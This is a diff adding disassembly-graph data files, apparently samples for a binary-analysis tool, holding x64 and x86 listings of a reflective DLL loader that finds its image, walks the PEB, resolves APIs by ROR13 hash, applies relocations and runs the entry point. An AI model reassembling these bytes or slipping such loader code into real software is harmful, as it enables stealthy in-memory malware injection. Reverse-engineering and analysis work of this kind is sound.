+
+ 0x137d
+ instruction
+ 4989c5
+ mov r13, rax
+
+
+ 0x1380
+ instruction
+ 418b06
+ mov eax, dword ptr [r14]
+
+
+ 0x1383
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x1385
+ instruction
+ 7504
+ jne 0x138b
+
+
+
+
+
+
+
+
+ 0x1387
+ instructions-graph
+
+ 0x1387
+ instructions
+
+ 0x1387
+ instruction
+ 418b4610
+ mov eax, dword ptr [r14 + 0x10]
+
+
+
+
+ 0x138b
+ instructions-graph
+
+ 0x138b
+ instructions
+
+ 0x138b
+ instruction
+ 488b75d0
+ mov rsi, qword ptr [rbp - 0x30]
+
+
+ 0x138f
+ instruction
+ 4801c6
+ add rsi, rax
+
+
+ 0x1392
+ instruction
+ 418b4610
+ mov eax, dword ptr [r14 + 0x10]
+
+
+ 0x1396
+ instruction
+ 488b7dd0
+ mov rdi, qword ptr [rbp - 0x30]
+
+
+ 0x139a
+ instruction
+ 4801c7
+ add rdi, rax
+
+
+
+
+
+
+
+
+
+ 0x139d
+ instructions-graph
+
+ 0x139d
+ instructions
+
+ 0x139d
+ instruction
+ 488b06
+ mov rax, qword ptr [rsi]
+
+
+ 0x13a0
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x13a3
+ instruction
+ 744f
+ je 0x13f4
+
+
+
+
+
+
+ 0x13a5
+ instructions-graph
+
+ 0x13a5
+ instructions
+
+ 0x13a5
+ instruction
+ 48b90000000000000080
+ movabs rcx, 0x8000000000000000
+
+
+ 0x13af
+ instruction
+ 4885c8
+ test rax, rcx
+
+
+ 0x13b2
+ instruction
+ 7521
+ jne 0x13d5
+
+
+
+
+
+
+ 0x13b4
+ instructions-graph
+
+ 0x13b4
+ instructions
+
+ 0x13b4
+ instruction
+ 488b4dd0
+ mov rcx, qword ptr [rbp - 0x30]
+
+
+ 0x13b8
+ instruction
+ 4801c1
+ add rcx, rax
+
+
+ 0x13bb
+ instruction
+ 4883c102
+ add rcx, 2
+
+
+ 0x13bf
+ instruction
+ 4883ec28
+ sub rsp, 0x28
+
+
+ 0x13c3
+ instruction
+ 4889ca
+ mov rdx, rcx
+
+
+ 0x13c6
+ instruction
+ 4c89e9
+ mov rcx, r13
+
+
+ 0x13c9
+ instruction
+ ff55f0
+ call qword ptr [rbp - 0x10]
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x13cc
+ instructions-graph
+
+ 0x13cc
+ instructions
+
+ 0x13cc
+ instruction
+ 4883c428
+ add rsp, 0x28
+
+
+ 0x13d0
+ instruction
+ 488907
+ mov qword ptr [rdi], rax
+
+
+ 0x13d3
+ instruction
+ eb15
+ jmp 0x13ea
+
+
+
+
+
+
+ 0x13d5
+ instructions-graph
+
+ 0x13d5
+ instructions
+
+ 0x13d5
+ instruction
+ 480fb716
+ movzx rdx, word ptr [rsi]
+
+
+ 0x13d9
+ instruction
+ 4883ec28
+ sub rsp, 0x28
+
+
+ 0x13dd
+ instruction
+ 4c89e9
+ mov rcx, r13
+
+
+ 0x13e0
+ instruction
+ ff55f0
+ call qword ptr [rbp - 0x10]
+
+
+
+
+
+
+
+ 0x13e3
+ instructions-graph
+
+ 0x13e3
+ instructions
+
+ 0x13e3
+ instruction
+ 4883c428
+ add rsp, 0x28
+
+
+ 0x13e7
+ instruction
+ 488907
+ mov qword ptr [rdi], rax
+
+
+
+
+ 0x13ea
+ instructions-graph
+
+ 0x13ea
+ instructions
+
+ 0x13ea
+ instruction
+ 4883c608
+ add rsi, 8
+
+
+ 0x13ee
+ instruction
+ 4883c708
+ add rdi, 8
+
+
+ 0x13f2
+ instruction
+ eba9
+ jmp 0x139d
+
+
+
+
+
+
+ 0x13f4
+ instructions-graph
+
+ 0x13f4
+ instructions
+
+ 0x13f4
+ instruction
+ 4983c614
+ add r14, 0x14
+
+
+ 0x13f8
+ instruction
+ e962ffffff
+ jmp 0x135f
+
+
+
+
+
+ 0x13fd
+ instructions-graph
+
+ 0x13fd
+ instructions
+
+ 0x13fd
+ instruction
+ 488b45d0
+ mov rax, qword ptr [rbp - 0x30]
+
+
+ 0x1401
+ instruction
+ 498b4c2430
+ mov rcx, qword ptr [r12 + 0x30]
+
+
+ 0x1406
+ instruction
+ 4829c8
+ sub rax, rcx
+
+
+ 0x1409
+ instruction
+ 488945d8
+ mov qword ptr [rbp - 0x28], rax
+
+
+ 0x140d
+ instruction
+ 418b8424b0000000
+ mov eax, dword ptr [r12 + 0xb0]
+
+
+ 0x1415
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x1417
+ instruction
+ 7478
+ je 0x1491
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1419
+ instructions-graph
+
+ 0x1419
+ instructions
+
+ 0x1419
+ instruction
+ 418b8c24b4000000
+ mov ecx, dword ptr [r12 + 0xb4]
+
+
+ 0x1421
+ instruction
+ 85c9
+ test ecx, ecx
+
+
+ 0x1423
+ instruction
+ 746c
+ je 0x1491
+
+
+
+
+
+
+ 0x1425
+ instructions-graph
+
+ 0x1425
+ instructions
+
+ 0x1425
+ instruction
+ 4c8b75d0
+ mov r14, qword ptr [rbp - 0x30]
+
+
+ 0x1429
+ instruction
+ 4901c6
+ add r14, rax
+
+
+
+
+
+ 0x142c
+ instructions-graph
+
+ 0x142c
+ instructions
+
+ 0x142c
+ instruction
+ 418b4604
+ mov eax, dword ptr [r14 + 4]
+
+
+ 0x1430
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x1432
+ instruction
+ 745d
+ je 0x1491
+
+
+
+
+
+
+ 0x1434
+ instructions-graph
+
+ 0x1434
+ instructions
+
+ 0x1434
+ instruction
+ 83e808
+ sub eax, 8
+
+
+ 0x1437
+ instruction
+ d1e8
+ shr eax, 1
+
+
+ 0x1439
+ instruction
+ 4189c7
+ mov r15d, eax
+
+
+ 0x143c
+ instruction
+ 418b06
+ mov eax, dword ptr [r14]
+
+
+ 0x143f
+ instruction
+ 4c8b6dd0
+ mov r13, qword ptr [rbp - 0x30]
+
+
+ 0x1443
+ instruction
+ 4901c5
+ add r13, rax
+
+
+ 0x1446
+ instruction
+ 4d8d6608
+ lea r12, [r14 + 8]
+
+
+
+
+
+
+
+
+
+
+
+ 0x144a
+ instructions-graph
+
+ 0x144a
+ instructions
+
+ 0x144a
+ instruction
+ 4585ff
+ test r15d, r15d
+
+
+ 0x144d
+ instruction
+ 7439
+ je 0x1488
+
+
+
+
+
+ 0x144f
+ instructions-graph
+
+ 0x144f
+ instructions
+
+ 0x144f
+ instruction
+ 410fb70424
+ movzx eax, word ptr [r12]
+
+
+ 0x1454
+ instruction
+ 89c3
+ mov ebx, eax
+
+
+ 0x1456
+ instruction
+ c1eb0c
+ shr ebx, 0xc
+
+
+ 0x1459
+ instruction
+ 25ff0f0000
+ and eax, 0xfff
+
+
+ 0x145e
+ instruction
+ 83fb0a
+ cmp ebx, 0xa
+
+
+ 0x1461
+ instruction
+ 7407
+ je 0x146a
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1463
+ instructions-graph
+
+ 0x1463
+ instructions
+
+ 0x1463
+ instruction
+ 83fb03
+ cmp ebx, 3
+
+
+ 0x1466
+ instruction
+ 740d
+ je 0x1475
+
+
+
+
+
+ 0x1468
+ instructions-graph
+
+ 0x1468
+ instructions
+
+ 0x1468
+ instruction
+ eb15
+ jmp 0x147f
+
+
+
+
+ 0x146a
+ instructions-graph
+
+ 0x146a
+ instructions
+
+ 0x146a
+ instruction
+ 488b55d8
+ mov rdx, qword ptr [rbp - 0x28]
+
+
+ 0x146e
+ instruction
+ 4901540500
+ add qword ptr [r13 + rax], rdx
+
+
+ 0x1473
+ instruction
+ eb0a
+ jmp 0x147f
+
+
+
+
+
+
+ 0x1475
+ instructions-graph
+
+ 0x1475
+ instructions
+
+ 0x1475
+ instruction
+ 8b55d8
+ mov edx, dword ptr [rbp - 0x28]
+
+
+ 0x1478
+ instruction
+ 4101540500
+ add dword ptr [r13 + rax], edx
+
+
+ 0x147d
+ instruction
+ eb00
+ jmp 0x147f
+
+
+
+
+
+ 0x147f
+ instructions-graph
+
+ 0x147f
+ instructions
+
+ 0x147f
+ instruction
+ 4983c402
+ add r12, 2
+
+
+ 0x1483
+ instruction
+ 41ffcf
+ dec r15d
+
+
+ 0x1486
+ instruction
+ ebc2
+ jmp 0x144a
+
+
+
+
+
+
+ 0x1488
+ instructions-graph
+
+ 0x1488
+ instructions
+
+ 0x1488
+ instruction
+ 418b4604
+ mov eax, dword ptr [r14 + 4]
+
+
+ 0x148c
+ instruction
+ 4901c6
+ add r14, rax
+
+
+ 0x148f
+ instruction
+ eb9b
+ jmp 0x142c
+
+
+
+
+
+
+ 0x1491
+ instructions-graph
+
+ 0x1491
+ instructions
+
+ 0x1491
+ instruction
+ 488b4dd0
+ mov rcx, qword ptr [rbp - 0x30]
+
+
+ 0x1495
+ instruction
+ 8b413c
+ mov eax, dword ptr [rcx + 0x3c]
+
+
+ 0x1498
+ instruction
+ 4c8d2401
+ lea r12, [rcx + rax]
+
+
+ 0x149c
+ instruction
+ 490fb7442414
+ movzx rax, word ptr [r12 + 0x14]
+
+
+ 0x14a2
+ instruction
+ 4d8d6c0418
+ lea r13, [r12 + rax + 0x18]
+
+
+ 0x14a7
+ instruction
+ 450fb77c2406
+ movzx r15d, word ptr [r12 + 6]
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x14ad
+ instructions-graph
+
+ 0x14ad
+ instructions
+
+ 0x14ad
+ instruction
+ 4585ff
+ test r15d, r15d
+
+
+ 0x14b0
+ instruction
+ 7478
+ je 0x152a
+
+
+
+
+
+ 0x14b2
+ instructions-graph
+
+ 0x14b2
+ instructions
+
+ 0x14b2
+ instruction
+ 418b4508
+ mov eax, dword ptr [r13 + 8]
+
+
+ 0x14b6
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x14b8
+ instruction
+ 7467
+ je 0x1521
+
+
+
+
+
+
+ 0x14ba
+ instructions-graph
+
+ 0x14ba
+ instructions
+
+ 0x14ba
+ instruction
+ 418b4524
+ mov eax, dword ptr [r13 + 0x24]
+
+
+ 0x14be
+ instruction
+ c1e81d
+ shr eax, 0x1d
+
+
+ 0x14c1
+ instruction
+ 83e007
+ and eax, 7
+
+
+ 0x14c4
+ instruction
+ e917010000
+ jmp 0x15e0
+
+
+
+
+
+
+
+ 0x14c9
+ instructions-graph
+
+ 0x14c9
+ instructions
+
+ 0x14c9
+ instruction
+ 5b
+ pop rbx
+
+
+ 0x14ca
+ instruction
+ 0fb61c03
+ movzx ebx, byte ptr [rbx + rax]
+
+
+ 0x14ce
+ instruction
+ 4883ec48
+ sub rsp, 0x48
+
+
+ 0x14d2
+ instruction
+ 418b450c
+ mov eax, dword ptr [r13 + 0xc]
+
+
+ 0x14d6
+ instruction
+ 488b4dd0
+ mov rcx, qword ptr [rbp - 0x30]
+
+
+ 0x14da
+ instruction
+ 4801c1
+ add rcx, rax
+
+
+ 0x14dd
+ instruction
+ 48894c2430
+ mov qword ptr [rsp + 0x30], rcx
+
+
+ 0x14e2
+ instruction
+ 418b4508
+ mov eax, dword ptr [r13 + 8]
+
+
+ 0x14e6
+ instruction
+ 4889442438
+ mov qword ptr [rsp + 0x38], rax
+
+
+ 0x14eb
+ instruction
+ c744244000000000
+ mov dword ptr [rsp + 0x40], 0
+
+
+ 0x14f3
+ instruction
+ 48c7c1ffffffff
+ mov rcx, 0xffffffffffffffff
+
+
+ 0x14fa
+ instruction
+ 488d542430
+ lea rdx, [rsp + 0x30]
+
+
+ 0x14ff
+ instruction
+ 4c8d442438
+ lea r8, [rsp + 0x38]
+
+
+ 0x1504
+ instruction
+ 4189d9
+ mov r9d, ebx
+
+
+ 0x1507
+ instruction
+ 488d442440
+ lea rax, [rsp + 0x40]
+
+
+ 0x150c
+ instruction
+ 4889442420
+ mov qword ptr [rsp + 0x20], rax
+
+
+ 0x1511
+ instruction
+ 4c8b9568ffffff
+ mov r10, qword ptr [rbp - 0x98]
+
+
+ 0x1518
+ instruction
+ e866000000
+ call 0x1583
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x151d
+ instructions-graph
+
+ 0x151d
+ instructions
+
+ 0x151d
+ instruction
+ 4883c448
+ add rsp, 0x48
+
+
+
+
+ 0x1521
+ instructions-graph
+
+ 0x1521
+ instructions
+
+ 0x1521
+ instruction
+ 4983c528
+ add r13, 0x28
+
+
+ 0x1525
+ instruction
+ 41ffcf
+ dec r15d
+
+
+ 0x1528
+ instruction
+ eb83
+ jmp 0x14ad
+
+
+
+
+
+
+ 0x152a
+ instructions-graph
+
+ 0x152a
+ instructions
+
+ 0x152a
+ instruction
+ 488b4dd0
+ mov rcx, qword ptr [rbp - 0x30]
+
+
+ 0x152e
+ instruction
+ 8b413c
+ mov eax, dword ptr [rcx + 0x3c]
+
+
+ 0x1531
+ instruction
+ 4c8d2401
+ lea r12, [rcx + rax]
+
+
+ 0x1535
+ instruction
+ 418b442428
+ mov eax, dword ptr [r12 + 0x28]
+
+
+ 0x153a
+ instruction
+ 4c8b6dd0
+ mov r13, qword ptr [rbp - 0x30]
+
+
+ 0x153e
+ instruction
+ 4901c5
+ add r13, rax
+
+
+ 0x1541
+ instruction
+ 4883ec28
+ sub rsp, 0x28
+
+
+ 0x1545
+ instruction
+ 48c7c1ffffffff
+ mov rcx, 0xffffffffffffffff
+
+
+ 0x154c
+ instruction
+ 4831d2
+ xor rdx, rdx
+
+
+ 0x154f
+ instruction
+ 4531c0
+ xor r8d, r8d
+
+
+ 0x1552
+ instruction
+ ff55e0
+ call qword ptr [rbp - 0x20]
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1555
+ instructions-graph
+
+ 0x1555
+ instructions
+
+ 0x1555
+ instruction
+ 4883c428
+ add rsp, 0x28
+
+
+ 0x1559
+ instruction
+ 4883ec28
+ sub rsp, 0x28
+
+
+ 0x155d
+ instruction
+ 488b4dd0
+ mov rcx, qword ptr [rbp - 0x30]
+
+
+ 0x1561
+ instruction
+ ba01000000
+ mov edx, 1
+
+
+ 0x1566
+ instruction
+ 4531c0
+ xor r8d, r8d
+
+
+ 0x1569
+ instruction
+ 41ffd5
+ call r13
+
+
+
+
+
+
+
+
+
+
+ 0x156c
+ instructions-graph
+
+ 0x156c
+ instructions
+
+ 0x156c
+ instruction
+ 4883c428
+ add rsp, 0x28
+
+
+ 0x1570
+ instruction
+ 4c89e8
+ mov rax, r13
+
+
+ 0x1573
+ instruction
+ 415f
+ pop r15
+
+
+ 0x1575
+ instruction
+ 415e
+ pop r14
+
+
+ 0x1577
+ instruction
+ 415d
+ pop r13
+
+
+ 0x1579
+ instruction
+ 415c
+ pop r12
+
+
+ 0x157b
+ instruction
+ 5f
+ pop rdi
+
+
+ 0x157c
+ instruction
+ 5e
+ pop rsi
+
+
+ 0x157d
+ instruction
+ 5b
+ pop rbx
+
+
+ 0x157e
+ instruction
+ 4889ec
+ mov rsp, rbp
+
+
+ 0x1581
+ instruction
+ 5d
+ pop rbp
+
+
+ 0x1582
+ instruction
+ c3
+ ret
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1583
+ instructions-graph
+
+ 0x1583
+ instructions
+
+ 0x1583
+ instruction
+ 418b4204
+ mov eax, dword ptr [r10 + 4]
+
+
+ 0x1587
+ instruction
+ 4d8d5a08
+ lea r11, [r10 + 8]
+
+
+ 0x158b
+ instruction
+ 4989ca
+ mov r10, rcx
+
+
+ 0x158e
+ instruction
+ 41ffe3
+ jmp r11
+
+
+
+
+
+
+
+
+ 0x1591
+ instructions-graph
+
+ 0x1591
+ instructions
+
+ 0x1591
+ instruction
+ 418b453c
+ mov eax, dword ptr [r13 + 0x3c]
+
+
+ 0x1595
+ instruction
+ 498d5c0500
+ lea rbx, [r13 + rax]
+
+
+ 0x159a
+ instruction
+ 8b8388000000
+ mov eax, dword ptr [rbx + 0x88]
+
+
+ 0x15a0
+ instruction
+ 498d4c0500
+ lea rcx, [r13 + rax]
+
+
+ 0x15a5
+ instruction
+ 48894dc0
+ mov qword ptr [rbp - 0x40], rcx
+
+
+ 0x15a9
+ instruction
+ 8b4118
+ mov eax, dword ptr [rcx + 0x18]
+
+
+ 0x15ac
+ instruction
+ 48894590
+ mov qword ptr [rbp - 0x70], rax
+
+
+ 0x15b0
+ instruction
+ 8b4120
+ mov eax, dword ptr [rcx + 0x20]
+
+
+ 0x15b3
+ instruction
+ 498d440500
+ lea rax, [r13 + rax]
+
+
+ 0x15b8
+ instruction
+ 488945b8
+ mov qword ptr [rbp - 0x48], rax
+
+
+ 0x15bc
+ instruction
+ 8b4124
+ mov eax, dword ptr [rcx + 0x24]
+
+
+ 0x15bf
+ instruction
+ 498d440500
+ lea rax, [r13 + rax]
+
+
+ 0x15c4
+ instruction
+ 488945b0
+ mov qword ptr [rbp - 0x50], rax
+
+
+ 0x15c8
+ instruction
+ c3
+ ret
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x15c9
+ instructions-graph
+
+ 0x15c9
+ instructions
+
+ 0x15c9
+ instruction
+ b800000000
+ mov eax, 0
+
+
+
+
+ 0x15ce
+ instructions-graph
+
+ 0x15ce
+ instructions
+
+ 0x15ce
+ instruction
+ 0fb619
+ movzx ebx, byte ptr [rcx]
+
+
+ 0x15d1
+ instruction
+ 85db
+ test ebx, ebx
+
+
+ 0x15d3
+ instruction
+ 740a
+ je 0x15df
+
+
+
+
+
+
+ 0x15d5
+ instructions-graph
+
+ 0x15d5
+ instructions
+
+ 0x15d5
+ instruction
+ c1c80d
+ ror eax, 0xd
+
+
+ 0x15d8
+ instruction
+ 01d8
+ add eax, ebx
+
+
+ 0x15da
+ instruction
+ 48ffc1
+ inc rcx
+
+
+ 0x15dd
+ instruction
+ ebef
+ jmp 0x15ce
+
+
+
+
+
+
+
+
+ 0x15df
+ instructions-graph
+
+ 0x15df
+ instructions
+
+ 0x15df
+ instruction
+ c3
+ ret
+
+
+
+
+ 0x15e0
+ instructions-graph
+
+ 0x15e0
+ instructions
+
+ 0x15e0
+ instruction
+ e8e4feffff
+ call 0x14c9
+
+
+
+
+ 0x15e5
+ data
+ 0110022004400440
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/data/shellcode/reflective_loader.x86.graphml b/data/shellcode/reflective_loader.x86.graphml
new file mode 100644
index 0000000000000..1a41284a89b4c
--- /dev/null
+++ b/data/shellcode/reflective_loader.x86.graphml
@@ -0,0 +1,3620 @@
+
+
+
+
+
+
+
+
+
+ 0x1000
+ instructions-graph
+
+ 0x1000
+ instructions
+
+ 0x1000
+ instruction
+ 55
+ push ebp
+
+
+ 0x1001
+ instruction
+ 89e5
+ mov ebp, esp
+
+
+ 0x1003
+ instruction
+ 83ec50
+ sub esp, 0x50
+
+
+ 0x1006
+ instruction
+ 53
+ push ebx
+
+
+ 0x1007
+ instruction
+ 56
+ push esi
+
+
+ 0x1008
+ instruction
+ 57
+ push edi
+
+
+ 0x1009
+ instruction
+ 31c0
+ xor eax, eax
+
+
+ 0x100b
+ instruction
+ 8945fc
+ mov dword ptr [ebp - 4], eax
+
+
+ 0x100e
+ instruction
+ 8945f8
+ mov dword ptr [ebp - 8], eax
+
+
+ 0x1011
+ instruction
+ 8945f4
+ mov dword ptr [ebp - 0xc], eax
+
+
+ 0x1014
+ instruction
+ 8945f0
+ mov dword ptr [ebp - 0x10], eax
+
+
+ 0x1017
+ instruction
+ 8945b4
+ mov dword ptr [ebp - 0x4c], eax
+
+
+ 0x101a
+ instruction
+ 31c9
+ xor ecx, ecx
+
+
+ 0x101c
+ instruction
+ 85c9
+ test ecx, ecx
+
+
+ 0x101e
+ instruction
+ 7533
+ jne 0x1053
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1020
+ instructions-graph
+
+ 0x1020
+ instructions
+
+ 0x1020
+ instruction
+ e800000000
+ call 0x1025
+
+
+
+
+ 0x1025
+ instructions-graph
+
+ 0x1025
+ instructions
+
+ 0x1025
+ instruction
+ 59
+ pop ecx
+
+
+ 0x1026
+ instruction
+ 81e100f0ffff
+ and ecx, 0xfffff000
+
+
+
+
+
+ 0x102c
+ instructions-graph
+
+ 0x102c
+ instructions
+
+ 0x102c
+ instruction
+ 6681394d5a
+ cmp word ptr [ecx], 0x5a4d
+
+
+ 0x1031
+ instruction
+ 7518
+ jne 0x104b
+
+
+
+
+
+ 0x1033
+ instructions-graph
+
+ 0x1033
+ instructions
+
+ 0x1033
+ instruction
+ 8b413c
+ mov eax, dword ptr [ecx + 0x3c]
+
+
+ 0x1036
+ instruction
+ 83f840
+ cmp eax, 0x40
+
+
+ 0x1039
+ instruction
+ 7210
+ jb 0x104b
+
+
+
+
+
+
+ 0x103b
+ instructions-graph
+
+ 0x103b
+ instructions
+
+ 0x103b
+ instruction
+ 3d00040000
+ cmp eax, 0x400
+
+
+ 0x1040
+ instruction
+ 7309
+ jae 0x104b
+
+
+
+
+
+ 0x1042
+ instructions-graph
+
+ 0x1042
+ instructions
+
+ 0x1042
+ instruction
+ 813c0150450000
+ cmp dword ptr [ecx + eax], 0x4550
+
+
+ 0x1049
+ instruction
+ 7408
+ je 0x1053
+
+
+
+
+
+ 0x104b
+ instructions-graph
+
+ 0x104b
+ instructions
+
+ 0x104b
+ instruction
+ 81e900100000
+ sub ecx, 0x1000
+
+
+ 0x1051
+ instruction
+ ebd9
+ jmp 0x102c
+
+
+
+
+
+ 0x1053
+ instructions-graph
+
+ 0x1053
+ instructions
+
+ 0x1053
+ instruction
+ 894dec
+ mov dword ptr [ebp - 0x14], ecx
+
+
+ 0x1056
+ instruction
+ 64a130000000
+ mov eax, dword ptr fs:[0x30]
+
+
+ 0x105c
+ instruction
+ 8b400c
+ mov eax, dword ptr [eax + 0xc]
+
+
+ 0x105f
+ instruction
+ 8b4014
+ mov eax, dword ptr [eax + 0x14]
+
+
+
+
+
+
+
+
+
+ 0x1062
+ instructions-graph
+
+ 0x1062
+ instructions
+
+ 0x1062
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x1064
+ instruction
+ 0f847f010000
+ je 0x11e9
+
+
+
+
+
+ 0x106a
+ instructions-graph
+
+ 0x106a
+ instructions
+
+ 0x106a
+ instruction
+ 8945d0
+ mov dword ptr [ebp - 0x30], eax
+
+
+ 0x106d
+ instruction
+ 0fb74824
+ movzx ecx, word ptr [eax + 0x24]
+
+
+ 0x1071
+ instruction
+ 85c9
+ test ecx, ecx
+
+
+ 0x1073
+ instruction
+ 0f8466010000
+ je 0x11df
+
+
+
+
+
+
+
+ 0x1079
+ instructions-graph
+
+ 0x1079
+ instructions
+
+ 0x1079
+ instruction
+ 8b5028
+ mov edx, dword ptr [eax + 0x28]
+
+
+ 0x107c
+ instruction
+ bf00000000
+ mov edi, 0
+
+
+
+
+ 0x1081
+ instructions-graph
+
+ 0x1081
+ instructions
+
+ 0x1081
+ instruction
+ c1cf0d
+ ror edi, 0xd
+
+
+ 0x1084
+ instruction
+ 0fb61a
+ movzx ebx, byte ptr [edx]
+
+
+ 0x1087
+ instruction
+ 80fb61
+ cmp bl, 0x61
+
+
+ 0x108a
+ instruction
+ 7203
+ jb 0x108f
+
+
+
+
+
+
+
+ 0x108c
+ instructions-graph
+
+ 0x108c
+ instructions
+
+ 0x108c
+ instruction
+ 80eb20
+ sub bl, 0x20
+
+
+
+
+ 0x108f
+ instructions-graph
+
+ 0x108f
+ instructions
+
+ 0x108f
+ instruction
+ 01df
+ add edi, ebx
+
+
+ 0x1091
+ instruction
+ 42
+ inc edx
+
+
+ 0x1092
+ instruction
+ 49
+ dec ecx
+
+
+ 0x1093
+ instruction
+ 75ec
+ jne 0x1081
+
+
+
+
+
+
+
+ 0x1095
+ instructions-graph
+
+ 0x1095
+ instructions
+
+ 0x1095
+ instruction
+ 81ff5bbc4a6a
+ cmp edi, 0x6a4abc5b
+
+
+ 0x109b
+ instruction
+ 7411
+ je 0x10ae
+
+
+
+
+
+ 0x109d
+ instructions-graph
+
+ 0x109d
+ instructions
+
+ 0x109d
+ instruction
+ 81ff5d68fa3c
+ cmp edi, 0x3cfa685d
+
+
+ 0x10a3
+ instruction
+ 0f8489000000
+ je 0x1132
+
+
+
+
+
+ 0x10a9
+ instructions-graph
+
+ 0x10a9
+ instructions
+
+ 0x10a9
+ instruction
+ e931010000
+ jmp 0x11df
+
+
+
+
+ 0x10ae
+ instructions-graph
+
+ 0x10ae
+ instructions
+
+ 0x10ae
+ instruction
+ 8b45d0
+ mov eax, dword ptr [ebp - 0x30]
+
+
+ 0x10b1
+ instruction
+ 8b7010
+ mov esi, dword ptr [eax + 0x10]
+
+
+ 0x10b4
+ instruction
+ 8975e8
+ mov dword ptr [ebp - 0x18], esi
+
+
+ 0x10b7
+ instruction
+ e862030000
+ call 0x141e
+
+
+
+
+
+
+
+
+ 0x10bc
+ instructions-graph
+
+ 0x10bc
+ instructions
+
+ 0x10bc
+ instruction
+ c745bc02000000
+ mov dword ptr [ebp - 0x44], 2
+
+
+
+
+ 0x10c3
+ instructions-graph
+
+ 0x10c3
+ instructions
+
+ 0x10c3
+ instruction
+ 8b45c8
+ mov eax, dword ptr [ebp - 0x38]
+
+
+ 0x10c6
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x10c8
+ instruction
+ 0f84f3000000
+ je 0x11c1
+
+
+
+
+
+
+ 0x10ce
+ instructions-graph
+
+ 0x10ce
+ instructions
+
+ 0x10ce
+ instruction
+ 48
+ dec eax
+
+
+ 0x10cf
+ instruction
+ 8945c8
+ mov dword ptr [ebp - 0x38], eax
+
+
+ 0x10d2
+ instruction
+ 8b4ddc
+ mov ecx, dword ptr [ebp - 0x24]
+
+
+ 0x10d5
+ instruction
+ 8b09
+ mov ecx, dword ptr [ecx]
+
+
+ 0x10d7
+ instruction
+ 034de8
+ add ecx, dword ptr [ebp - 0x18]
+
+
+ 0x10da
+ instruction
+ e866030000
+ call 0x1445
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x10df
+ instructions-graph
+
+ 0x10df
+ instructions
+
+ 0x10df
+ instruction
+ 8945b8
+ mov dword ptr [ebp - 0x48], eax
+
+
+ 0x10e2
+ instruction
+ 3d8e4e0eec
+ cmp eax, 0xec0e4e8e
+
+
+ 0x10e7
+ instruction
+ 7409
+ je 0x10f2
+
+
+
+
+
+
+ 0x10e9
+ instructions-graph
+
+ 0x10e9
+ instructions
+
+ 0x10e9
+ instruction
+ 3daafc0d7c
+ cmp eax, 0x7c0dfcaa
+
+
+ 0x10ee
+ instruction
+ 7402
+ je 0x10f2
+
+
+
+
+
+ 0x10f0
+ instructions-graph
+
+ 0x10f0
+ instructions
+
+ 0x10f0
+ instruction
+ eb36
+ jmp 0x1128
+
+
+
+
+ 0x10f2
+ instructions-graph
+
+ 0x10f2
+ instructions
+
+ 0x10f2
+ instruction
+ 8b55e0
+ mov edx, dword ptr [ebp - 0x20]
+
+
+ 0x10f5
+ instruction
+ 8b521c
+ mov edx, dword ptr [edx + 0x1c]
+
+
+ 0x10f8
+ instruction
+ 0355e8
+ add edx, dword ptr [ebp - 0x18]
+
+
+ 0x10fb
+ instruction
+ 8b4dd8
+ mov ecx, dword ptr [ebp - 0x28]
+
+
+ 0x10fe
+ instruction
+ 0fb709
+ movzx ecx, word ptr [ecx]
+
+
+ 0x1101
+ instruction
+ 8b148a
+ mov edx, dword ptr [edx + ecx*4]
+
+
+ 0x1104
+ instruction
+ 0355e8
+ add edx, dword ptr [ebp - 0x18]
+
+
+ 0x1107
+ instruction
+ 8b45b8
+ mov eax, dword ptr [ebp - 0x48]
+
+
+ 0x110a
+ instruction
+ 3d8e4e0eec
+ cmp eax, 0xec0e4e8e
+
+
+ 0x110f
+ instruction
+ 7505
+ jne 0x1116
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1111
+ instructions-graph
+
+ 0x1111
+ instructions
+
+ 0x1111
+ instruction
+ 8955fc
+ mov dword ptr [ebp - 4], edx
+
+
+ 0x1114
+ instruction
+ eb03
+ jmp 0x1119
+
+
+
+
+
+ 0x1116
+ instructions-graph
+
+ 0x1116
+ instructions
+
+ 0x1116
+ instruction
+ 8955f8
+ mov dword ptr [ebp - 8], edx
+
+
+
+
+ 0x1119
+ instructions-graph
+
+ 0x1119
+ instructions
+
+ 0x1119
+ instruction
+ 8b45bc
+ mov eax, dword ptr [ebp - 0x44]
+
+
+ 0x111c
+ instruction
+ 48
+ dec eax
+
+
+ 0x111d
+ instruction
+ 8945bc
+ mov dword ptr [ebp - 0x44], eax
+
+
+ 0x1120
+ instruction
+ 85c0
+ test eax, eax
+
+
+ 0x1122
+ instruction
+ 0f8499000000
+ je 0x11c1
+
+
+
+
+
+
+
+
+
+
+ 0x1128
+ instructions-graph
+
+ 0x1128
+ instructions
+
+ 0x1128
+ instruction
+ 8345dc04
+ add dword ptr [ebp - 0x24], 4
+
+
+ 0x112c
+ instruction
+ 8345d802
+ add dword ptr [ebp - 0x28], 2
+
+
+ 0x1130
+ instruction
+ eb91
+ jmp 0x10c3
+
+
+
+
+
+
+ 0x1132
+ instructions-graph
+
